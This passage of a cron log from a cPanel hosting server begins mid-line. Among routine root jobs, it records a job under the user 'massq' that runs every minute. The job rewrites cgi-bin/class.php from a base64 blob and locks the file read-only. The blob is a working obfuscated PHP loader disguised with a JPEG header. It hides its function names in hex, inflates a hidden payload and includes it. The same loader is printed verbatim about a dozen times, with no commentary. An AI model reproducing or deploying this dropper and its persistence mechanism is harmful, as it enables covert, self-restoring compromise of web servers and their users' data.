GAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:21:01 server CROND[837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:21:01 server CROND[838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:22:01 server CROND[1301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:22:01 server CROND[1303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:22:01 server CROND[1304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:23:01 server CROND[1748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:23:01 server CROND[1749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:23:01 server CROND[1751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:24:01 server CROND[2146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:24:01 server CROND[2148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:24:01 server CROND[2147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:25:01 server CROND[2632]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 01:25:01 server CROND[2633]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:25:01 server CROND[2635]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:25:01 server CROND[2634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:25:01 server CROND[2640]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:25:01 server CROND[2638]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 01:25:01 server CROND[2636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:26:01 server CROND[3538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:26:01 server CROND[3539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:26:01 server CROND[3540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:27:01 server CROND[3913]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 01:27:01 server CROND[3914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:27:01 server CROND[3915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:27:01 server CROND[3916]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:28:01 server CROND[4286]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:28:01 server CROND[4285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:28:01 server CROND[4287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:29:01 server CROND[4654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:29:01 server CROND[4655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:29:01 server CROND[4656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:30:01 server CROND[5149]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 01:30:01 server CROND[5151]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 01:30:01 server CROND[5152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:30:01 server CROND[5155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:30:01 server CROND[5157]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 01:30:01 server CROND[5156]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:30:01 server CROND[5153]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:30:01 server CROND[5154]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:31:01 server CROND[6001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:31:01 server CROND[6002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:31:01 server CROND[6011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:32:01 server CROND[6375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:32:01 server CROND[6376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:32:01 server CROND[6378]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:33:01 server CROND[6765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:33:01 server CROND[6766]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:33:01 server CROND[6767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:34:01 server CROND[7175]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
